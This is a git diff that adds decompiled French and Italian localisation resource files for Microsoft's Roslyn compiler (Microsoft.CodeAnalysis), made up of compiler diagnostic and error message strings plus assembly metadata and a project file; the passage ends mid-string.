b/decompiled/Libraries/fr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.fr.resx new file mode 100644 index 0000000..f711e4d --- /dev/null +++ b/decompiled/Libraries/fr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.fr.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089struct + élément attendu + L'image PE n'est pas disponible. + Taille non valide du jeton de clé publique. + Le fichier supplémentaire n'appartient pas au 'CompilationWithAnalyzers' sous-jacent. + Plusieurs fichiers config d'analyseur global définissent la même clé '{0}' dans la section '{1}'. Elle a été annulée. La clé a été définie par les fichiers suivants : '{2}' + Le chemin d’accès temporaire pour la signature de fichier hérité n’est pas disponible. + événement + L'assembly contenant le type '{0}' référence le .NET Framework, ce qui n'est pas pris en charge. + Référence d'assemblage : '{0}' + Accorde l'IVT à l'assembly actuel : {1} + Accorde des IVT à : + L'analyseur '{0}' contient un descripteur null dans 'SupportedDiagnostics'. + Le paramètre '{0}' doit être un symbole de cette compilation ou un assembly référencé. + Versions de langage incohérentes + Le programme de résolution de référence doit retourner un flux non null. + Options de compilation non valides : impossible de signer la soumission. + Une clé dans pathMap est vide. + Niveau de gravité non valide dans le fichier config de l'analyseur. + Le fichier d'ensemble de règles possède des règles dupliquées pour '{0}' avec des actions différentes '{1}' et '{2}'. + Le type doit être une sous-classe de SyntaxAnnotation. + La valeur est trop grande pour être représentée comme un entier non signé 30 bits. + Impossible de créer un alias d'un module. + Caractères non valides dans le nom de la culture d'assembly + module + méthode + Le writer Windows PDB ne prend pas en charge la compilation déterministe : '{0}' + Analyseur + Le paramètre '{0}' doit être un 'INamedTypeSymbol' ou un 'IAssemblySymbol'. + Supprimez les diagnostics suivants pour désactiver cet analyseur : {0} + classe + Avertissement : Impossible d'activer le JIT multicœur en raison de l'exception suivante : {0}. + Les textes incorporés sont uniquement pris en charge durant l'émission d'un fichier PDB. + Impossible d'utiliser le module de copie pour créer des métadonnées d'assembly. + Le nom de section de configuration '{0}' de l'analyseur global est non valide, car il ne s'agit pas d'un chemin absolu. La section va être ignorée. La section a été déclarée dans le fichier '{1}' + Le flux Icon n'est pas au format attendu. + Le diagnostic '{0}' a reçu un niveau de gravité non valide '{1}' dans le fichier config de l'analyseur sur '{2}'. + Nom de l'assemblage : '{0}' + Clés publiques : + Fichier introuvable. + L'attribut {0} a une valeur {1} non valide. + Les ressources Win32, censées être au format d'objet COFF, ont une taille de section non valide. + Le SourceText avec « {0} » doit avoir un encodage explicite défini. + Format de fichier de ressources non reconnu. + paramètre + propriété, indexeur + Un attribut nommé {1} est manquant dans l'élément {0}. + MetadataReference '{0}' à supprimer introuvable. + Nom du module spécifié non valide dans le module de métadonnées '{0}' : '{1}' + Le nom contient des caractères non valides. + Impossible de spécifier un nom de langage pour cette option. + Le flux PDB ne doit pas être fourni quand le format PDB est incorporé dans le flux PE. + Rien + Le flux PDB ne doit pas être transmis durant l'émission de métadonnées uniquement. + Le hintName « {0} » contient un caractère non valide « {1} » à la position {2}. + Échec du pilote de l'analyseur + Plusieurs fichiers config d'analyseur global définissent la même clé. Elle a été annulée. + Doit inclure des membres privés sauf si émet un assembly de référence. + Les arguments de l'option '/keepalive' dont la valeur est inférieure à -1 ne sont pas valides. + L'opération donnée a un parent non-null. + Le nom de section de configuration de l'analyseur global est non valide, car il ne s'agit pas d'un chemin absolu. La section va être ignorée. + Chemin d'accès absolu attendu. + Données non valides au décalage {0} : {1}{2}*{3}{4} + Impossible de déterminer la cause spécifique de l'échec. + Les références à des documents XML ne sont pas prises en charge. + Le flux est trop long. + Le type de retour ne peut pas être un type de valeur, un pointeur, un type byref ou un type générique ouvert + Le type sous-jacent d'un tuple doit être compatible avec le tuple. + Une exception s'est produite dans le contexte suivant : +{0} + Le type '{0}' n'est pas pris en charge par le binder de sérialisation. + Fonctionnalités de l'arborescence de syntaxe incohérentes + Impossible d'incorporer des types interop du module. + Impossible d'incorporer SourceText. Indiquez l'encodage ou canBeEmbedded=true au moment de la construction. + Le flux contient des données non valides + Durée (s) + Le module a des attributs non valides. + L'arborescence de syntaxe n'appartient pas à la 'Compilation' sous-jacente. + Hachage non valide. + 'L'option '/keepalive' est valide seulement avec l'option '/shared'. + Les membres privés ne doivent pas être inclus durant l'émission vers la sortie de l'assembly secondaire. + Impression des informations 'InternalsVisibleToAttribute' pour la compilation actuelle et tous les assemblys référencés. + Le chemin d'accès retourné par {0}.ResolveStrongNameKeyFile doit être absolu : '{1}' + Impossible de trouver le fichier d'ensemble de règles '{0}'. + La signature d'assembly n'est pas prise en charge. + Le diagnostic signalé '{0}' a un emplacement source '{1}' dans le fichier '{2}', qui se trouve en dehors du fichier donné. + Le nœud à suivre n’est pas un descendant de la racine. + Le bloc d'opérations donné n'appartient pas au contexte d'analyse actuel. + L’élément spécifié n’est pas l’élément d’une liste. + délégué + Écriture dans le flux impossible. + La valeur de l'argument '/shared:' ne doit pas être vide + Le lecteur de désérialisation pour '{0}' a lu un nombre incorrect de valeurs. + L'analyseur '{0}' contient un descripteur ayant une valeur null dans 'SupportedSuppressions'. + Impossible de créer une référence à une soumission. + Le chemin d'accès retourné par {0}.ResolveMetadataFile doit être absolu : '{1}' + Non résolu : + L'argument de l'option '/keepalive' n'est pas un entier 32 bits. + L'étendue n'inclut pas le début d'une ligne. + Impossible de créer une référence de métadonnées pour un assembly sans emplacement. + Nom de culture non valide : '{0}' + Genre d'instrumentation non valide : {0} + Les tuples doivent posséder au moins deux éléments. + Les modifications doivent être ordonnées et ne pas se chevaucher. + Le serveur du compilateur Roslyn signale une version du protocole différente de celle de la tâche de build. + Temps d'exécution total de l'analyseur : {0} secondes. + Les options de compilation ne doivent pas comporter d'erreurs. + Impossible de sérialiser le type '{0}'. + Le flux PE de métadonnées ne doit pas être transmis durant l'émission de métadonnées uniquement. + Nom de ressource vide ou non valide + Le type de retour ne peut pas être void, un type byref ou un type générique ouvert + Le writer Windows PDB ne prend pas en charge la fonctionnalité SourceLink : '{0}' + Le jeton de clé publique n'est pas valide. + Le diagnostic '{0} : {1}' a été supprimé par programmation par un DiagnosticSuppressor ayant l'ID de suppression '{2}' et la justification '{3}' + Argument manquant pour l'option '/keepalive'. + <module en mémoire> + Générateur + L'opération donnée a un modèle sémantique Null. + La version du writer Windows PDB est trop ancienne : '{0}' + Un nœud ou jeton est hors séquence. + L'incorporation d'un fichier PDB n'est pas autorisée quand des métadonnées sont émises. + Impossible de créer une référence de métadonnées à un assembly dynamique. + L'ID de diagnostic supprimé '{0}' ne correspond pas à l'ID supprimable '{1}' pour le descripteur de suppression spécifié. + Les ressources Win32, censées être au format d'objet COFF, ont une ou plusieurs valeurs de symbole non valides. + Le flux doit prendre en charge les opérations de lecture et de recherche. + enum + Le diagnostic signalé '{0}' a un emplacement source dans le fichier '{1}', qui ne fait pas partie de la compilation en cours d'analyse. + Champ + Le nom ne peut pas être vide. + Durée totale d’exécution du générateur : {0} secondes. + Les ressources Win32, censées être au format d'objet COFF, ne possèdent pas l'une des sections '.rsrc$01' ou '.rsrc$02' ou les deux + Si des noms d'éléments tuples sont spécifiés, le nombre de noms d'éléments doit correspondre à la cardinalité du tuple. + Modifier et continuer ne peut pas reprendre l’itérateur suspendu, car l’instruction yield return correspondante a été supprimée + Type de contenu non valide + {0}.GetMetadata() doit retourner une instance de {1}. + Le diagnostic signalé comporte l'ID '{0}', ce qui n'est pas un identificateur valide. + Impossible de créer une référence de module à un assembly. + Si des annotations de type Nullable pour des éléments de tuples sont spécifiées, le nombre d'annotations doit correspondre à la cardinalité du tuple. + L'argument contient des instances en double de l'analyseur. + Le nom ne peut pas commencer par un espace blanc. + Impossible de sérialiser les tableaux de plus d'une dimension. + Aucun changement de la version d'une référence d'assembly n'est autorisé durant le débogage : '{0}' a changé la version en '{1}'. + Le diagnostic signalé avec l'ID '{0}' n'est pas pris en charge par l'analyseur. + Un nom de langage doit être spécifié pour cette option. + Symbole de méthode attendu + Type de sortie non pris en charge. + séparateur attendu + Un nœud de la liste n’a pas le type attendu. + Le hintName '{0}' contient un segment non valide '{1}' à la position {2}. + {0} doit être 'default' ou être de la même longueur que {1}. + Le nom ne peut pas être Null. + Les changements doivent se situer dans les limites de SourceText + Algorithme de hachage non pris en charge. + Le fournisseur du flux de ressource doit retourner un flux non null. + L'identité WindowsRuntime ne peut pas être reciblable + L'argument contient une instance de l'analyseur qui n'appartient pas à 'Analyzers' pour cette instance de CompilationWithAnalyzers. + Impossible de cibler le module net quand un assembly de référence est émis. + Impossible de désérialiser le type '{0}'. + Le flux doit être lisible. + interface + Les ressources Win32, censées être au format d'objet COFF, ont une ou plusieurs valeurs d'en-tête de réadressage non valides. + L'analyseur '{0}' a levé une exception de type '{1}' avec le message '{2}'. +{3} + <assembly en mémoire> + {0} et {1} doivent être de la même longueur. + Le hintName « {0} »du fichier source ajouté doit être unique dans un générateur. + Le nom d'élément tuple ne peut pas être une chaîne vide. + Type de sortie non valide pour la soumission. DynamicallyLinkedLibrary attendu. + SuppressionDescriptor doit avoir un ID qui n'est ni une valeur null, ni une chaîne vide, ni une chaîne contenant uniquement des espaces blancs. + Le flux doit être accessible en écriture. + Nom d'assembly non valide : '{0}' + Alias non valide. + constructeur + Aucun analyseur trouvé + L'assembly doit avoir au moins un module. + Modifier et continuer ne peut pas reprendre la méthode asynchrone suspendue, car l’expression await correspondante a été supprimée + Le fournisseur de données de ressource doit retourner un flux non null + Impossible de supprimer le diagnostic non signalé ayant l'ID '{0}'. + Fin du flux de ressources à {0} octets. {1} octets attendus. + L'image PE ne contient pas de métadonnées gérées. + Nom de fichier vide ou non valide + retour + Le pilote de l'analyseur a généré une exception de type « {0} » avec le message «{1} ». +{2} + La taille du fichier dépasse la taille maximale autorisée pour un fichier de métadonnées valide. + L'étendue n'inclut pas la fin d'une ligne. + La soumission précédente contient des erreurs. + La compilation fait référence à plusieurs assemblys dont les versions ne diffèrent que par les numéros de build et/ou de révision générés automatiquement. + Suppression programmatique d'un diagnostic d'analyseur + Fichier d'assembly introuvable + La clé publique n'est pas valide. + Lecture à partir du flux impossible. + La référence de type '{0}' n'est pas valide pour cette compilation. + Le numéro de ligne demandé {0} doit être inférieur au nombre de lignes {1}. + DiagnosticDescriptor doit avoir un ID qui n'est ni une valeur Null, ni une chaîne vide, ni une chaîne contenant uniquement des espaces blancs. + La suppression signalée ayant l'ID '{0}' n'est pas prise en charge par le suppresseur. + L'opération fournie ne doit pas faire partie d'un graphique de flux de contrôle. + Un seul {0} peut être inscrit par générateur. + Le type doit être le même que celui de l'objet hôte de la soumission précédente. + Si des emplacements d'éléments tuples sont spécifiés, le nombre d'emplacements doit correspondre à la cardinalité du tuple. + Assemblage actuel : '{0}' + '{0}' n’était pas un nom d’opérateur intégré valide + Opérateur intégré {0} non pris en charge + Nom d’opérateur intégré '{0}' non autorisé + 'end' ne doit pas être inférieur à 'start'. start='{0}'end='{1}'. + Impossible de créer une référence à un module. + Échec de l'analyseur + Clé publique non vide attendue + Une erreur s'est produite lors du chargement du fichier d'ensemble de règles inclus {0} - {1} + Caractères non valides dans le nom de l'assembly + REMARQUE : le temps écoulé peut être inférieur à la durée d'exécution de l'analyseur, car des analyseurs peuvent s'exécuter simultanément. + L'argument ne peut pas avoir un élément null. + L'argument ne peut pas être vide. + assembly + paramètre de type + 'La valeur 'start' ne doit pas être négative + La taille doit être positive. + Une valeur dans pathMap est Null. + \ No newline at end of file diff --git a/decompiled/Libraries/fr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.fr.resx b/decompiled/Libraries/fr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.fr.resx new file mode 100644 index 0000000..beb4902 --- /dev/null +++ b/decompiled/Libraries/fr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.fr.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089La limite inférieure du tableau cible doit être égale à zéro. + Le type de tableau cible n'est pas compatible avec le type des éléments de la collection. + La collection était d'une taille fixe. + La collection a été modifiée ; l'opération d'énumération peut ne pas s'exécuter. + Le nombre est inférieur à la limite inférieure du tableau dans la première dimension. + La taille du tableau de destination ne permet pas de copier tous les éléments de la collection. Vérifiez l'index et la longueur du tableau. + Impossible de comparer deux éléments dans le tableau. + Un élément avec la même clé a déjà été ajouté. Clé : {0} + Les tableaux spécifiés doivent avoir le même nombre de dimensions. + Offset et length étaient hors limites pour ce tableau ou bien le nombre est supérieur au nombre d'éléments de l'index à la fin de la collection source. + Impossible d'effectuer le tri, car la méthode IComparer.Compare() retourne des résultats incohérents. Une valeur comparée n'est pas égale à elle-même ou une valeur comparée de manière répétée à une autre valeur donne des résultats différents. IComparer : '{0}'. + Le compte doit être positif et faire référence à un emplacement de la chaîne/du tableau/de la collection. + L'index était hors limites. Il ne doit pas être négatif et doit être inférieur à la taille de la collection. + L'objet n'est pas un tableau avec le même nombre d'éléments que celui auquel il doit être comparé. + La capacité était inférieure à la taille actuelle. + Seuls les tableaux unidimensionnels sont pris en charge pour l'action demandée. + La mutation d'une collection de valeurs dérivée d'un dictionnaire n'est pas autorisée. + Plus grand que la taille de la collection. + L'index doit être dans les limites de la List. + Nombre non négatif obligatoire. + Impossible de trouver l’ancienne valeur + Les opérations qui changent des collections non concurrentes doivent avoir un accès exclusif. Une mise à jour simultanée a été effectuée sur cette collection et l'a endommagée. L'état de la collection n'est plus correct. + La clé spécifiée '{0}' n'est pas présente dans le dictionnaire. + La mutation d'une collection de clés dérivée d'un dictionnaire n'est pas autorisée. + Le tableau de destination n'est pas assez long. Vérifiez l'index, la longueur ainsi que les limites inférieures du tableau de destination. + La capacité de la table de hachage a été dépassée et est devenue négative. Contrôlez le facteur de chargement, la capacité et la taille actuelle de la table. + Le tableau source n'est pas assez long. Vérifiez l'index, la longueur ainsi que les limites inférieures du tableau source. + La valeur "{0}" n'est pas de type "{1}" et ne peut pas être utilisée dans cette collection générique. + L'énumération n'a pas commencé ou est déjà terminée. + \ No newline at end of file diff --git a/decompiled/Libraries/fr.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/fr.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/fr.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/fr.microsoft.codeanalysis.resources/costura.fr.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/fr.microsoft.codeanalysis.resources/costura.fr.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/fr.microsoft.codeanalysis.resources/costura.fr.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/it.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.it.resx b/decompiled/Libraries/it.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.it.resx new file mode 100644 index 0000000..60b701d --- /dev/null +++ b/decompiled/Libraries/it.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.it.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Per gli output senza origine occorre specificare l'opzione /out + Divisione per la costante zero + Il nome di tipi e alias non deve essere 'record'. + '{0}' non è un argomento di attributo denominato valido perché non è un tipo di parametro di attributo valido + Il formato XML del commento XML è errato + Non è possibile usare il vincolo 'new()' con il vincolo 'unmanaged' + Alcuni tipi nell'assembly dell'analizzatore {0} verranno ignorati a causa di un'eccezione ReflectionTypeLoadException: {1}. + Il campo è assegnato, ma il suo valore non viene mai usato + record + L'albero delle espressioni non può contenere un operatore di assegnazione + Non sono stati trovati uno o più tipi necessari per compilare un'espressione dinamica. Probabilmente manca un riferimento. + '{0}' è obsoleto: '{1}' + L'attributo Conditional non è valido per '{0}' perché è l'implementazione di un costruttore, distruttore, espressione lambda, operatore o interfaccia esplicita + I membri del parametro del costruttore primario '{0}' di un tipo di sola lettura non possono essere restituiti da un riferimento scrivibile + I modelli di sezione possono essere usati solo una volta e direttamente all'interno di un modello di elenco. + Nome di modulo non valido: {0} + L'interfaccia è già inclusa nell'elenco di interfacce con diverso supporto dei valori Null per i tipi riferimento. + '{0}': le conversioni definite dall'utente da o verso un tipo di base non sono consentite + '{0}': non è possibile fare riferimento a un tipo con un'espressione. Provare con '{1}' + Versione del compilatore: '{0}'. Versione del linguaggio: {1}. + iteratori + L'opzione /win32manifest per il modulo verrà ignorata perché si applica solo agli assembly + La tabella codici '{0}' non è valida o non è installata + Il membro obsoleto '{0}' esegue l'override del membro non obsoleto '{1}' + Mancano le virgolette inglesi chiuse per il valore letterale di tipo stringa. + Il valore generato può essere Null. + Utilizzo della proprietà implementata automaticamente probabilmente non assegnata '{0}'. Provare a eseguire l'aggiornamento alla versione del linguaggio '{1}' per impostare automaticamente la proprietà come predefinita. + '{0}' non può essere reso nullable. + dichiarazioni using + Il runtime di destinazione non supporta l'implementazione di interfaccia predefinita. + Compilazione annullata dall'utente + I riferimenti ai metadati non sono supportati. + Il corpo di una query deve terminare con una clausola select o group + L'espressione specificata non corrisponde mai al criterio fornito. + Non è possibile contrassegnare le funzioni di accesso 'init' come 'readonly'. Contrassegnare '{0}' come readonly. + L'operatore '&' non deve essere usato su parametri o variabili locali in metodi asincroni. + L'istruzione switch contiene più usi di maiuscole/minuscole con il valore di etichetta '{0}' + È previsto un identificatore, mentre '{1}' è una parola chiave + Il valore di '{0}' non è valido: '{1}'. + Il nome del parametro di tipo '{0}' è uguale a quello del parametro di tipo del metodo esterno '{1}' + Un albero delle espressioni non può contenere un'operazione di puntatore unsafe + All'interno di un riferimento di entità è stato trovato un carattere non valido. + Un'espressione lambda dell'albero delle espressioni non può contenere un metodo con argomenti variabili + L'opzione della riga di comando non è ancora implementata + Il compilatore ha ampliato ed esteso con segno in modo implicito una variabile, usando quindi il valore risultante in un'operazione OR bit per bit. Questa operazione potrebbe causare comportamenti imprevisti. + L'operatore * o -> deve essere applicato a un puntatore + Nome non valido per un simbolo di pre-elaborazione. '{0}' non è un identificatore valido + Non è possibile applicare l'operatore '{0}' a operandi di tipo '{1}' e '{2}' + Integer di dimensioni native + Non è possibile contrassegnare il tipo come conforme a CLS perché è un membro del tipo non conforme a CLS + CallerMemberNameAttribute non avrà alcun effetto. CallerLineNumberAttribute ne eseguirà l'override + Non è possibile restituire i membri di {0} '{1}' per riferimento scrivibile perché è una variabile di sola lettura + Il formato di InterpolatedStringHandlerArgumentAttribute applicato al parametro '{0}' non è valido e non può essere interpretato. Costruire manualmente un'istanza di '{1}'. + La riga specificata è di '{0}' caratteri, che è inferiore al numero di caratteri specificato '{1}'. + '{0}' non può dichiarare un corpo perché è contrassegnato come abstract + Accessibilità incoerente: il tipo di evento '{1}' è meno accessibile di '{0}' + Il membro '{0}' esegue l'override del membro obsoleto '{1}'. Aggiungere l'attributo Obsolete a '{0}'. + È stato rilevato codice non raggiungibile + Il tipo o il membro non necessita di un attributo CLSCompliant perché l'assembly non ha un attributo CLSCompliant + Non è possibile usare il parametro del costruttore primario '{0}' in questo contesto. + Non è stata trovata un'implementazione del modello di query per il tipo di origine '{0}'. '{1}' non è presente. Provare a specificare in modo esplicito il tipo della variabile di intervallo '{2}' + '{0}' non è un numero di avviso valido + Non è possibile usare il tipo '{3}' come parametro di tipo '{2}' nel metodo o nel tipo generico '{0}'. Non esistono conversioni implicite di riferimenti da '{3}' a '{1}'. + Il metodo, la funzione di accesso o l'operatore è contrassegnato come esterno ed è privo di attributi + Il formato del metodo di gestione delle stringhe interpolate '{0}' non è valido. Non restituisce 'void' o 'bool'. + Il criterio di rimozione non è consentito come etichetta case in un'istruzione switch. Usare 'case var _:' per un criterio di rimozione oppure 'case @_:' per una costante denominata '_'. + La convenzione di chiamata di '{0}' non è compatibile con '{1}'. + Non è possibile usare un tipo riferimento nullable durante la creazione di oggetti. + Il nome del distruttore deve corrispondere al nome del tipo + Errore di sintassi della riga di comando: '{0}' non è un valore valido per l'opzione '{1}'. Il valore deve essere espresso nel formato '{2}'. + '{0}' non è un metodo di istanza. Il ricevitore non può essere un argomento del gestore di stringhe interpolate. + Questo tipo di riferimento assegna '{1}' a '{0}' ma '{1}' può solo eseguire l'escape del metodo corrente tramite un'istruzione return. + Non è possibile passare la variabile di intervallo '{0}' come parametro out o ref + Un ciclo foreach deve dichiarare le relative variabili di iterazione. + parametri di tipo senza vincoli nell'operatore Null di coalescenza + L'attributo DllImport deve essere specificato in un metodo contrassegnato come 'static' ed 'extern' + metodo parziale + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + La funzionalità '{0}' non è disponibile in C# 11.0. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile in C# 10.0. Usare la versione {1} o versioni successive del linguaggio. + Il campo '{0}' è assegnato, ma il suo valore non viene mai usato + Impossibile eseguire la produzione nel corpo di una clausola finally + <spazio dei nomi> + È possibile usare l'operatore 'await' solo in espressioni di query all'interno della prima espressione di raccolta della clausola 'from' iniziale o all'interno dell'espressione di raccolta di una clausola 'join' + Il valore predefinito specificato per il parametro '{0}' non avrà effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + '{0}': la dichiarazione esplicita dell'interfaccia può essere dichiarata sono in una classe, un record, uno struct o un'interfaccia + Non è possibile ridefinire l'alias extern globale + Il metodo 'Slice' della matrice inline non verrà usato per l'espressione di accesso agli elementi. + L'attributo CLSCompliant non ha significato quando applicato a parametri. Provare ad applicarlo al metodo. + Questo avviso viene visualizzato quando per un blocco catch() non è stato specificato un tipo di eccezione dopo un blocco catch (System.Exception e). L'avviso indica che il blocco catch() non rileverà alcuna eccezione. + +Un blocco catch() dopo un blocco catch (System.Exception e) può rilevare eccezioni non CLS se RuntimeCompatibilityAttribute è impostato su false nel file AssemblyInfo.cs file: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. Se questo attributo non è impostato in modo esplicito su false, verrà eseguito il wrapping di tutte le eccezioni non CLS rilevate come Exception per consentire al blocco catch (System.Exception e) di rilevarle. + CallerArgumentExpressionAttribute applicato al parametro non avrà alcun effetto perché è autoreferenziale. + Non è possibile dichiarare una variabile out come variabile locale ref + Non è possibile includere un elemento await in una clausola catch + L'operatore '{0}' richiede che sia definita anche una versione non controllata corrispondente dell’operatore + spazio dei nomi con ambito file + Non è possibile decostruire oggetti dinamici. + Non è possibile usare un'espressione in questo contesto perché non può essere passata o restituita per riferimento + Un'opzione /reference che dichiara un alias extern può avere un solo nome di file. Per specificare più alias o nomi di file, utilizzare più opzioni /reference. + Non è possibile eseguire la conversione di un'espressione stackalloc di tipo '{0}' nel tipo '{1}'. + Manca il delimitatore '}' di chiusura per l'espressione interpolata che inizia con '{'. + Per abilitare il controllo di conformità a CLS, è necessario specificare l'attributo CLSCompliant nell'assembly, non nel modulo + Il modificatore 'scoped' può essere usato solo per i riferimenti e i valori ref struct. + L'istruzione foreach non può funzionare con variabili di tipo '{0}' perché '{0}' non contiene una definizione di istanza o estensione pubblica per '{1}' + Si è verificato un errore durante la lettura del file del set di regole {0} - {1} + Non chiamare direttamente il metodo Finalize del tipo di base. Viene chiamato automaticamente dal distruttore. + '{0}': il valore dell'enumeratore è troppo grande per il tipo + Il file specificato contiene '{0}' righe, che sono inferiori al numero di riga specificato '{1}'. + Il nome di file specificato per la direttiva per il preprocessore non è valido. È troppo lungo o non è un nome di file valido. + Il tipo o il membro è obsoleto + Non è possibile convertire l'espressione in '{0}' perché non può essere passata o restituita per riferimento + Non è possibile dedurre gli argomenti di tipo per il metodo '{0}' dall'utilizzo. Provare a specificare gli argomenti di tipo in modo esplicito. + Possibile argomento di riferimento Null. + gruppo di &metodi + Manca l'attributo file + Manca l'attributo path + Il tipo non gestito '{0}' non è valido per i campi. + Si è verificato un errore durante la firma dell'output con la chiave pubblica del contenitore '{0}' - {1} + L'operatore '{0}' richiede che sia definito anche un operatore '{1}' corrispondente + Un inizializzatore di campo non può fare riferimento alla proprietà, al metodo o al campo non statico '{0}' + proprietà implementate automaticamente di sola lettura + Lo spazio dei nomi '{1}' contiene già una definizione per '{0}' in questo file. + Non è possibile usare i campi del campo di sola lettura statico '{0}' come valore out o ref (tranne che in un costruttore statico) + Questo riferimento assegna '{1}' a '{0}' ma '{1}' ha un ambito di escape più ristretto di '{0}'. + modificatori di accesso sulle proprietà + I tipi e gli alias non possono essere denominati 'con ambito'. + Il token '{0}' nella dichiarazione del membro di classe, record, struct o interfaccia non è valido + Il file di metadati '{0}' non è stato trovato + La chiamata a un membro non readonly da un membro 'readonly' comporta una copia esplicita. + Lo spazio dei nomi con ambito file deve precedere tutti gli altri membri di un file. + '{0}' non ha una dimensione predefinita, quindi sizeof può essere usato solo in un contesto di tipo unsafe + Il percorso di ricerca '{0}' specificato in '{1}' non è valido - '{2}' + Non è possibile convertire {0} nel tipo '{1}' perché i tipi di parametro non corrispondono ai tipi di parametro del delegato + Solo i membri conformi a CLS possono essere di tipo abstract + private protected + L'assembly e il modulo '{0}' non possono essere destinati a processori diversi. + Un albero delle espressioni non può contenere un'espressione ('..'). + Il modificatore del tipo di riferimento del parametro '{0}' non corrisponde al parametro corrispondente '{1}' nella destinazione. + '{0}' non è un tipo di gestore di stringhe interpolate. + Il modificatore del tipo di riferimento del parametro '{0}' non corrisponde al parametro corrispondente '{1}' nel membro nascosto. + La proprietà implementata automaticamente '{0}' viene letta prima di essere assegnata in modo esplicito, determinando un'assegnazione implicita precedente di 'default'. + Non è possibile includere un elemento await nel corpo di un'istruzione lock + Non è possibile usare un campo di sola lettura statico come valore out o ref (tranne che in un costruttore statico) + Utilizzo di proprietà implementata automaticamente probabilmente non assegnata. Provare ad aggiornare la versione del linguaggio per impostare automaticamente la proprietà come predefinita. + L'attributo '{0}' non è valido nelle funzioni di accesso a proprietà o eventi. È valido solo nelle dichiarazioni di '{1}'. + Il modificatore 'scoped' del parametro '{0}' non corrisponde all'elemento '{1}' di destinazione. + La stringa di versione specificata '{0}' contiene caratteri jolly e questo non è compatibile con il determinismo. Rimuovere i caratteri jolly dalla stringa di versione o disabilitare il determinismo per questa compilazione + Il supporto dei valori Null dei tipi riferimento nell'identificatore di interfaccia esplicito non corrisponde all'interfaccia implementata dal tipo. + L'utilizzo di matrici come argomenti di attributi non è conforme alle specifiche CLS + Alias extern non usato + Numero non valido + parametri di rimozione lambda + Un risultato di un'espressione stackalloc di questo tipo in questo contesto può essere esposto all'esterno del metodo contenitore + varianza dei tipi + la directory non esiste + Per poter usare '{0}' come operatore di corto circuito, il tipo dichiarante '{1}' deve definire l'operatore True e l'operatore False + disposable + È previsto un inizializzatore di matrice annidato + Solo i tipi classe possono contenere distruttori + Il riferimento all'assembly verrà considerato come corrispondente all'identità + Il riferimento all'assembly '{0}' non è valido e non può essere risolto + tipo di delegato dedotto + In questo modo viene restituito un parametro ref tramite un parametro di riferimento. ma può essere restituito in modo sicuro solo in un'istruzione return + Non esiste alcun tipo di destinazione per il valore letterale predefinito. + L'assegnazione di decostruzione richiede un'espressione con un tipo sul lato destro. + L'allineamento '{0}' della sezione del file non è valido + I metodi anonimi, le espressioni lambda, le espressioni di query e le funzioni locali all'interno delle strutture non possono accedere ai membri di istanza di 'this'. Provare a copiare 'this' in una variabile locale all'esterno del metodo anonimo, dell'espressione lambda, dell'espressione di query o della funzione locale e usare tale variabile locale. + Non è possibile assegnare '{1}' a un membro di {0} o usarlo come lato destro di un'assegnazione di riferimento perché è una variabile readonly + Il supporto dei valori Null dei tipi riferimento nel tipo di '{0}' non corrisponde al membro implementato in modo implicito '{1}'. + Il membro condizionale '{0}' non può implementare il membro di interfaccia '{1}' nel tipo '{2}' + Il supporto dei valori Null dei tipi riferimento nel tipo restituito di '{0}' non corrisponde al membro implementato in modo implicito '{1}'. + La classe statica '{0}' non può derivare dal tipo '{1}'. Le classi statiche devono derivare dall'oggetto. + Non è possibile restituire i campi del campo di sola lettura statico '{0}' per riferimento 